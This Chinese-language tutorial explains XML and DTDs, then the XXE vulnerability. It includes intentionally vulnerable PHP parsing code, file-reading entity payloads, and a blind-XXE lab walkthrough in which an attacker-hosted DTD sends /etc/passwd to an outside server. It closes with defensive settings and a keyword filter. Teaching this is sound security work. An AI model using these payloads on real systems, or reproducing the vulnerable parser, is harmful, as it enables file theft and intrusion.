文章目录
XML介绍及用途
XML 被设计用来传输和存储数据。XML文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。
XML 允许创作者定义自己的标签和自己的文档结构。
XML语法规则
- 所有的XML元素都必须有一个关闭标签
- XML 标签对大小写敏感
- XML必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XML中,空格会被保留
XML元素介绍
XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。
每个元素又可以有对应的属性。XML属性必须加引号
注意:
- XML文档必须有一个根元素
- XML元素都必须有一个关闭标签
- XML标签对大小写敏感
- XML元素必须被正确的嵌套
- XML属性值必须加引号
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML DTD介绍
拥有正确语法的XML被称为"形式良好"的XML。通过DTD验证的XML是"合法"的XML。
DTD 声明类型
- 内部的DOCTYPE声明:
<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
- 外部文档声明:假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:
<!DOCTYPE root-element SYSTEM "filename">
note.dtd文件
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
xml文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
DTD 数据类型
-
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。 -
CDATA 的意思是字符数据(character data) 。
CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
DTD 实体介绍
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
内部实体:<!ENTITY entity-name "entity-value">
外部实体:<!ENTITY entity-name SYSTEM "UR/URL">
XML 注入(XXE)产生的原理
XXE漏洞 全称XML External Entity Injection,即xml外部实体注入漏洞。
XXE漏洞 发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
XXE 漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
简单的XXE 漏洞代码编写
file_get_contents()函数
file_get_contents()函数把整个文件读入一个字符串中。
file_get_contents(path,include_path,context ,start ,max_Length)
path 必选。规定要读取的文件
include_path 可选。如果也想在include_path中搜寻文件的话,可以将该参数设为"1"。
context 可选。规定文件句柄的环境。PHP5.0.0添加
context是一套可以修改流的行为的选项。若使用null,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是PHP 5.1新加的。
max_length 可选。规定读取的字节数。该参数是PHP 5.1新加的。
php封装协议—php://input
php://input是个可以访问请求的原始数据的只读流。
结合file_get_contents(“php://input”)可以读取POST提交的数据。
<?php
$str = file_get_contents("php://input");
echo $str;
?>
simplexml_load_string()函数
php中的simplexmt_load_string()函数将xml格式字符串转换为对应的SimpleXMLElement对象
<?php
$str = <<<XML
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;
$xml = simplexml_load_string($str);
var_dump($xml);
?>
XML 注入回显 输出函数
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "<pre>";
var_dump($data);
echo "</pre>";
?>
构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"><!--读取服务器本地文件-->
]>
<root>
<name>&xxe;</name> <!--&xxe;是引用外部的xxe-->
</root>
XXE 漏洞利用
任意文件读取
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "<pre>";
var_dump($data);
echo "</pre>";
?>
测试poc:
读取本地文件
file:///path/to/file.ext
读取远程文件
http://url/file.ext
使用base64编码读取php文件
php://filter/read=convert.base64-encode/resource=conf.php
读取服务器本地文件(有回显)
构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///c://test/flag.txt">
]>
<value>&xxe;</value>
pentesterlab的安装
镜像下载地址:https://isos.pentesterlab.com/play_xxe.iso
默认用户名和密码都是:pentestlab
打开虚拟机之后就可以用ip来进行访问:
测试原理
实验环境:
- Attacker’s server:kali
- 含有XXE的Server:pentesterlab
实验内容:
无回显的读取文件
请求XML文件:
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.35.131/test.dtd">
<foo>&e1;</foo>
攻击者服务器DTD文件:
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.35.131/test.php?con=%p1;'>">
%p2;
攻击者服务器test.php文件:
<?php
echo $_GET['con'];
?>
开始实验:
在kali中访问含XXE的服务器登录并抓包:
输入请求XML之后进行发送并在攻击者服务器开启wireshark进行抓包分析:
XXE 防御策略
- XXE 消亡的原因
libxml 2.90以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。 - 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmIData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
关键词:<!DOCTYPE
和<!ENTITY
或者SYSTEM
和PUBLIC